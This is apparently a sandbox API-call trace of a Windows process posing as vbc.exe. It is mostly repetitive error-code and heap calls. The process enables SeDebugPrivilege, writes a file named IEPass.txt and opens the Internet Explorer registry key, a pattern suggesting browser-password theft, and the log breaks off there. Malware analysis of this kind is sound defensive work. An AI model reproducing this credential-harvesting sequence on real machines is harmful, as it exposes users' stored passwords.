lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe4\xad\xd8\xf1\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0056.390] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x420b78, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe")) returned 0x35 [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.391] SetLastError (dwErrCode=0x0) [0056.391] GetLastError () returned 0x0 [0056.392] SetLastError (dwErrCode=0x0) [0056.392] GetLastError () returned 0x0 [0056.392] SetLastError (dwErrCode=0x0) [0056.392] GetLastError () returned 0x0 [0056.392] SetLastError (dwErrCode=0x0) [0056.392] GetLastError () returned 0x0 [0056.392] SetLastError (dwErrCode=0x0) [0056.392] GetLastError () returned 0x0 [0056.392] SetLastError (dwErrCode=0x0) [0056.392] GetLastError () returned 0x0 [0056.392] SetLastError (dwErrCode=0x0) [0056.392] GetLastError () returned 0x0 [0056.392] SetLastError (dwErrCode=0x0) [0056.392] GetLastError () returned 0x0 [0056.392] SetLastError (dwErrCode=0x0) [0056.392] GetLastError () returned 0x0 [0056.392] SetLastError (dwErrCode=0x0) [0056.392] GetLastError () returned 0x0 [0056.392] SetLastError (dwErrCode=0x0) [0056.392] GetLastError () returned 0x0 [0056.392] SetLastError (dwErrCode=0x0) [0056.392] GetLastError () returned 0x0 [0056.392] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.393] GetLastError () returned 0x0 [0056.393] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.394] SetLastError (dwErrCode=0x0) [0056.394] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.395] GetLastError () returned 0x0 [0056.395] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.396] GetLastError () returned 0x0 [0056.396] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x79) returned 0x4bc200 [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.397] SetLastError (dwErrCode=0x0) [0056.397] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.398] GetLastError () returned 0x0 [0056.398] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.399] GetLastError () returned 0x0 [0056.399] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.400] SetLastError (dwErrCode=0x0) [0056.400] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.401] GetLastError () returned 0x0 [0056.401] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] GetLastError () returned 0x0 [0056.402] SetLastError (dwErrCode=0x0) [0056.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x98) returned 0x4bc288 [0056.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1f) returned 0x4bad40 [0056.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x36) returned 0x4bc328 [0056.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x37) returned 0x4bc368 [0056.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3c) returned 0x4b5db0 [0056.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x31) returned 0x4bc3a8 [0056.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x17) returned 0x4bc3e8 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x24) returned 0x4b9f28 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x14) returned 0x4bc408 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xd) returned 0x4aefd0 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x25) returned 0x4b9f58 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x39) returned 0x4b5df8 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4bc428 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x17) returned 0x4bc448 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe) returned 0x4aefe8 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x69) returned 0x4bc468 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3e) returned 0x4b5e40 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1b) returned 0x4bad68 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1d) returned 0x4bad90 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x48) returned 0x4b5210 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4bc4e0 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4bc500 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1b) returned 0x4badb8 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x24) returned 0x4b9f88 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x29) returned 0x4ba560 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1e) returned 0x4bade0 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x41) returned 0x4b5260 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x17) returned 0x4bc520 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xf) returned 0x4af000 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4bc540 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2a) returned 0x4ba598 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x29) returned 0x4ba5d0 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x15) returned 0x4bc560 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1e) returned 0x4bae08 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2a) returned 0x4ba608 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4bc580 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4bc5a0 [0056.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x46) returned 0x4b52b0 [0056.403] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bcab0 | out: hHeap=0x4a0000) returned 1 [0056.404] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0056.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4bc5c0 [0056.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x800) returned 0x4bc648 [0056.404] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40bc1e) returned 0x0 [0056.404] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5c0) returned 0x80 [0056.404] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0056.404] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x18fabc | out: lpConsoleScreenBufferInfo=0x18fabc) returned 1 [0056.405] GetCurrentProcess () returned 0xffffffff [0056.405] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18fa90 | out: TokenHandle=0x18fa90*=0x7c) returned 1 [0056.405] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x18fa98 | out: lpLuid=0x18fa98*(LowPart=0x14, HighPart=0)) returned 1 [0056.419] AdjustTokenPrivileges (in: TokenHandle=0x7c, DisableAllPrivileges=0, NewState=0x18fa94*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0056.419] CloseHandle (hObject=0x7c) returned 1 [0056.420] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x18) returned 0x4bd4b0 [0056.420] AreFileApisANSI () returned 1 [0056.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18fad4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0056.420] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x60) returned 0x4bf828 [0056.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18fad4, cbMultiByte=-1, lpWideCharStr=0x4bf828, cchWideChar=48 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\IEPass.txt") returned 48 [0056.420] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\IEPass.txt" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\iepass.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f924, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c [0056.422] GetFileType (hFile=0x7c) returned 0x1 [0056.422] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bf828 | out: hHeap=0x4a0000) returned 1 [0056.422] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1000) returned 0x4c0e38 [0056.422] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f88c | out: 